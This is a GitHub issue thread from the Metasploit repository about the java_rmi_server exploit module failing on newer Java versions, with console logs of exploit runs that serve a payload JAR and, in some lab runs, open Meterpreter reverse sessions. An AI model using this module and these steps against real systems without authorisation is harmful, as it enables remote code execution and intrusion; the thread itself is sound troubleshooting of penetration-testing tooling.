RMI class loader couldn't find the payload

sil3ntcor3 commented 6 years ago

Steps to reproduce

How'd you do it?

Use module exploit/multi/misc/java_rmi_server
Set appropriate options and issue exploit command
... exploit(multi/misc/java_rmi_server) > exploit

[] Started bind handler [] 1.1.1.1:1099 - Using URL: http://1.1.1.2:4444/YmPfslR7 [] 1.1.1.1:1099 - Server started. [] 1.1.1.1:1099 - Sending RMI Header... [] 1.1.1.1:1099 - Sending RMI Call... [-] 1.1.1.1:1099 - Exploit failed: RuntimeError Exploit aborted due to failure unknown The RMI class loader couldn't find the payload [] 1.1.1.1:1099 - Server stopped. [*] Exploit completed, but no session was created.

System stuff

Metasploit version

metasploit v4.16.58-dev

I installed Metasploit with:

[X] Kali package via apt
[ ] Omnibus installer (nightly)
[ ] Commercial/Community installer (from http://www.rapid7.com/products/metasploit/download.jsp)
[ ] Source install (please specify ruby version)

OS

What OS are you running Metasploit on? Kali

wvu commented 6 years ago

Can you verify the target is vulnerable by comparing against https://nmap.org/nsedoc/scripts/rmi-vuln-classloader.html or other?

sil3ntcor3 commented 6 years ago

java_rmi

Sure ... see provided screenshot.

wvu commented 6 years ago

Are you on a pentest, or is there some other target I can test against? Want to see if this is a regression at all.

sil3ntcor3 commented 6 years ago

The target is part of a pentest I'm performing.

bka-dev commented 6 years ago

Maybe the uploaded payload got caught by some kind of AV. Could you double check with the customer, whether there was an alert?

sil3ntcor3 commented 6 years ago

I just emailed the customer to validate. I will follow up when I hear back.

sil3ntcor3 commented 6 years ago

Customer didn't find any type of alert from the endpoint controls that would indicate the exploit attempt is being caught.

thesle3p commented 5 years ago

Can confirm this is a bug effecting windows RMI servers

KavarH commented 5 years ago

I've got this false positives currently too.

What I found out so far: It seems that the exploit doesn't get it when the java version is updated. Though it tries to exploit and fails where the server on the other side does not load jars from external sources by standard.

The same applies to auxiliary/scanner/misc/java_rmi_server which should check for the same thing without exploiting it.

Some more infos what I tried so far:

testing against metasploitable2: everything is working as expected. No errors shown.

testing against an updated ubuntu 19.04 having rmiregistry started: auxiliary/scanner/misc/java_rmi_server states:

192.168.16.58:1099 - 192.168.16.58:1099 Java RMI Endpoint Detected: Class Loader Enabled msf5 exploit(multi/misc/java_rmi_server) > run

[] Started reverse TCP handler on 192.168.16.61:4444 [] 192.168.16.58:1099 - Using URL: http://0.0.0.0:8080/m8uXHZDSjywzjg [] 192.168.16.58:1099 - Local IP: http://192.168.16.61:8080/m8uXHZDSjywzjg [] 192.168.16.58:1099 - Server started. [] 192.168.16.58:1099 - Sending RMI Header... [] 192.168.16.58:1099 - Sending RMI Call... [-] 192.168.16.58:1099 - Exploit failed: RuntimeError Exploit aborted due to failure unknown The RMI class loader couldn't find the payload [] 192.168.16.58:1099 - Server stopped. [] Exploit completed, but no session was created.

Since this may be interesting - java -version openjdk version "11.0.3" 2019-04-16 OpenJDK Runtime Environment (build 11.0.3+7-post-Debian-5) OpenJDK 64-Bit Server VM (build 11.0.3+7-post-Debian-5, mixed mode, sharing)

Is someone currently looking on this?

wvu commented 5 years ago

Yeah, looks like this exploit and others using the same code will need to be updated for newer Java versions.

No one is currently looking at this, and since it's a holiday here, I don't think anyone will look at it till Monday. I can look at it over the holiday if I have time. I commented previously to ask for more details.

This is a serious bug, and the person who worked on RMI is long gone. Anyone who fixes this could maintain the code. :-)

jmartin-tech commented 5 years ago

Keep in mind RMI requires unsafe configuration on the server in most cases, and has been known to false positive.

@KavarH are the java versions you report the context the remote service is executing on? OpenJDK does not always have exactly the same vulns as the Oracle JDK and the default allowed actions have tightened since Java 7 when this unsafe default was more common.

Looking at how the nmap check runs, I am not sure it proves full misconfiguration required to run a meterpreter payload. The check uploads a function to be run and validates that it returns a result in the same RMI network communication. This proves code can run, not that it can communicate over the network independently. You may be able to do a blind injection that will run in the context of the java server, yet not be able to execute outside that scope.

Consider the case where java can execute and a firewall blocks all new outbound connections, or the service account running the process does not have rights to bind on a selected port.

Another possible failure could be limited execution privilege, as native meterperter payloads would need to the java process have permission to execute Runtime.getRuntime().exec() or some analog to start the payload process. This may still be hampered by firewall rules and such as well.

If more data can be gathered, maybe a stack trace or some other env details that are known to be vulnerable we may be able to expand on the accuracy of these modules.

KavarH commented 5 years ago

Thats a good point. I hopefully have some time tomorrow to create some traces and gather some further informations.

There should be no firewall blocks in my case, since its all running in a host-only net. However, it is good to think on cases like this.

KavarH commented 5 years ago

java -version on the target: openjdk version "11.0.3" 2019-04-16 OpenJDK Runtime Environment (build 11.0.3+7-Ubuntu-1ubuntu219.04.1) OpenJDK 64-Bit Server VM (build 11.0.3+7-Ubuntu-1ubuntu219.04.1, mixed mode, sharing)

Having this output: [] Started reverse TCP handler on 192.168.16.61:4444 [] 192.168.16.58:1099 - Using URL: http://0.0.0.0:8080/d7dfNiKMDt [] 192.168.16.58:1099 - Local IP: http://192.168.16.61:8080/d7dfNiKMDt [] 192.168.16.58:1099 - Server started. [] 192.168.16.58:1099 - Sending RMI Header... [] 192.168.16.58:1099 - Sending RMI Call... [-] 192.168.16.58:1099 - Exploit failed: RuntimeError Exploit aborted due to failure unknown The RMI class loader couldn't find the payload [] 192.168.16.58:1099 - Server stopped. [] Exploit completed, but no session was created.

the exact same output for: openjdk version "1.8.0_212" OpenJDK Runtime Environment (build 1.8.0_212-8u212-b03-0ubuntu1.19.04.2-b03) OpenJDK 64-Bit Server VM (build 25.212-b03, mixed mode)

openjdk version "12.0.1" 2019-04-16 OpenJDK Runtime Environment (build 12.0.1+12-Ubuntu-1) OpenJDK 64-Bit Server VM (build 12.0.1+12-Ubuntu-1, mixed mode, sharing)

And the Oracle Java versions:

java version "1.8.0_211" Java(TM) SE Runtime Environment (build 1.8.0_211-b12) Java HotSpot(TM) 64-Bit Server VM (build 25.211-b12, mixed mode)

java version "12.0.1" 2019-04-16 Java(TM) SE Runtime Environment (build 12.0.1+12) Java HotSpot(TM) 64-Bit Server VM (build 12.0.1+12, mixed mode, sharing)

All is in the same same network where it works using metasploitable2 which is using java 1.5.0

For further testing I installed Java 1.5.0 on a debian machine in the same network java -version java version "1.5.0" gij (GNU libgcj) version 6.3.0 20170516

Here I got the following output: [] Started reverse TCP handler on 192.168.16.61:4444 [] 192.168.16.102:1099 - Using URL: http://0.0.0.0:8080/eZSKEYcXbg [] 192.168.16.102:1099 - Local IP: http://192.168.16.61:8080/eZSKEYcXbg [] 192.168.16.102:1099 - Server started. [] 192.168.16.102:1099 - Sending RMI Header... [] 192.168.16.102:1099 - Sending RMI Call... [] 192.168.16.102:1099 - Replied to request for payload JAR [] Sending stage (53845 bytes) to 192.168.16.102 [] Meterpreter session 1 opened (192.168.16.61:4444 -> 192.168.16.102:46083) at 2019-07-11 10:36:37 +0200 [-] 192.168.16.102:1099 - Exploit failed: RuntimeError Timeout HTTPDELAY expired and the HTTP Server didn't get a payload request [] 192.168.16.102:1099 - Server stopped. [*] Exploit completed, but no session was created.

Though, the network is kind of filtered but the output changes when having a vulnearable Java 1.5.0 version to a more current one.

Changing to a non filtered (host-only) network: The output changes for java 1.5.0 and the exploit works:

[] Started reverse TCP handler on 192.168.114.132:4444 [] 192.168.114.130:1099 - Using URL: http://0.0.0.0:8080/9RPwMWUePyt3pc [] 192.168.114.130:1099 - Local IP: http://127.0.0.1:8080/9RPwMWUePyt3pc [] 192.168.114.130:1099 - Server started. [] 192.168.114.130:1099 - Sending RMI Header... [] 192.168.114.130:1099 - Sending RMI Call... [] 192.168.114.130:1099 - Replied to request for payload JAR [] Sending stage (53845 bytes) to 192.168.114.130 [] Meterpreter session 2 opened (192.168.114.132:4444 -> 192.168.114.130:43445) at 2019-07-11 10:46:32 +0200 [] 192.168.114.130:1099 - Server stopped.

Using a more current version as Java 1.8.0 no matter if openjdk or oracle jdk the output is the same as before: [] Started reverse TCP handler on 192.168.114.132:4444 [] 192.168.114.134:1099 - Using URL: http://0.0.0.0:8080/aiVqmB3PI [] 192.168.114.134:1099 - Local IP: http://127.0.0.1:8080/aiVqmB3PI [] 192.168.114.134:1099 - Server started. [] 192.168.114.134:1099 - Sending RMI Header... [] 192.168.114.134:1099 - Sending RMI Call... [-] 192.168.114.134:1099 - Exploit failed: RuntimeError Exploit aborted due to failure unknown The RMI class loader couldn't find the payload [] 192.168.114.134:1099 - Server stopped. [] Exploit completed, but no session was created.

tejorahul95 commented 4 years ago

im doing java_rmi for public IP of my own computer i gave the port forwarding port number to lhost and srvport and srvhost remains the same , and it saying rmi couldnot finds the payload, please guide me , and the nmap detects the vulnerability for the port 1098.....

jmartin-tech commented 4 years ago

@tejorahul95 see the comment above, https://github.com/rapid7/metasploit-framework/issues/10090#issuecomment-509399692

github-actions[bot] commented 3 years ago

Hi!

This issue has been left open with no activity for a while now.

We get a lot of issues, so we currently close issues after 60 days of inactivity. It’s been at least 30 days since the last update here. If we missed this issue or if you want to keep it open, please reply here. You can also add the label "not stale" to keep this issue open!

As a friendly reminder: the best way to see this issue, or any other, fixed is to open a Pull Request.

OJ commented 3 years ago

Bitten by this today. It does look like a bit of work needs to be done to bring this up to speed. At the moment, instead, using the likes of RMI Scout appears to be a better option.

jmartin-tech commented 3 years ago

@OJ, can you provide env details to compare? What as the goal with RMI that you hit an issue with? Can you offer expected results if enhanced vs current result?

The current scanner and exploit modules target misconfiguration that allows package load requests from network locations other than localhost.

RMI has evolved since 2011 when the existing CVE the modules target was written. Looking at RMI scout, I see a basis for possible evolution of the scanner module to do more than check for the specific CVE-2011-3556 configuration. Extension could also possibly be leveraged to improve the exploit module probing or to expand the techniques in the exploit. Do these ideas match what you are thinking could be done here?

lfbox7 commented 3 years ago

@OJ I experienced the same issue today. However I did find a work around. While using Kali 2020.4, I was able to overcome the issue by running msfconsole with sudo. With Kali moving from root to kali, some permissions likely were not transferred to kali run a lot of the exploits successfully.

ad0nis commented 3 years ago

Got hit by this today as well. check module reports it as being vulnerable, but then cant land anything on the target. Tried it as root, as suggested by @lfbox7 without any change in results.

ajes commented 2 years ago

Today I have hit the same issue during pentest (so can't verify remote version of java):

[*] Started reverse TCP handler on 10.xxx.xxx.xxx:4444
[*] 10.xxx.xxx.xxx:59084 - Using URL: http://0.0.0.0:8080/6DX2aHMhTmx
[*] 10.xxx.xxx.xxx:59084 - Local IP: http://10.xxx.xxx.xxx:8080/6DX2aHMhTmx
[*] 10.xxx.xxx.xxx:59084 - Server started.
[*] 10.xxx.xxx.xxx:59084 - Sending RMI Header...
[*] 10.xxx.xxx.xxx:59084 - Sending RMI Call...
[-] 10.xxx.xxx.xxx:59084 - Exploit failed: RuntimeError Exploit aborted due to failure unknown The RMI class loader couldn't find the payload
[*] 10.xxx.xxx.xxx:59084 - Server stopped.
[*] Exploit completed, but no session was created.

Vulnerability was reported by nmap.

Both, Metasploit and nmap are the latest version from Kali (fully updated).

khushbuparakh commented 2 years ago

[] Started reverse TCP handler on 10.0.2.15:4444
[] 10.0.2.4:1099 - Using URL: http://0.0.0.0:8080/5xrzKm4Rfk47yO
[] 10.0.2.4:1099 - Local IP: http://10.0.2.15:8080/5xrzKm4Rfk47yO
[] 10.0.2.4:1099 - Server started.
[] 10.0.2.4:1099 - Sending RMI Header...
[] 10.0.2.4:1099 - Sending RMI Call...
[] 10.0.2.4:1099 - Replied to request for payload JAR
[] Sending stage (58053 bytes) to 10.0.2.4
[] Meterpreter session 2 opened (10.0.2.15:4444 -> 10.0.2.4:53334 ) at 2022-05-06 16:29:00 -0400
[-] 10.0.2.4:1099 - Exploit failed: RuntimeError Timeout HTTPDELAY expired and the HTTP Server didn't get a payload request
[] 10.0.2.4:1099 - Server stopped.

rapid7 / metasploit-framework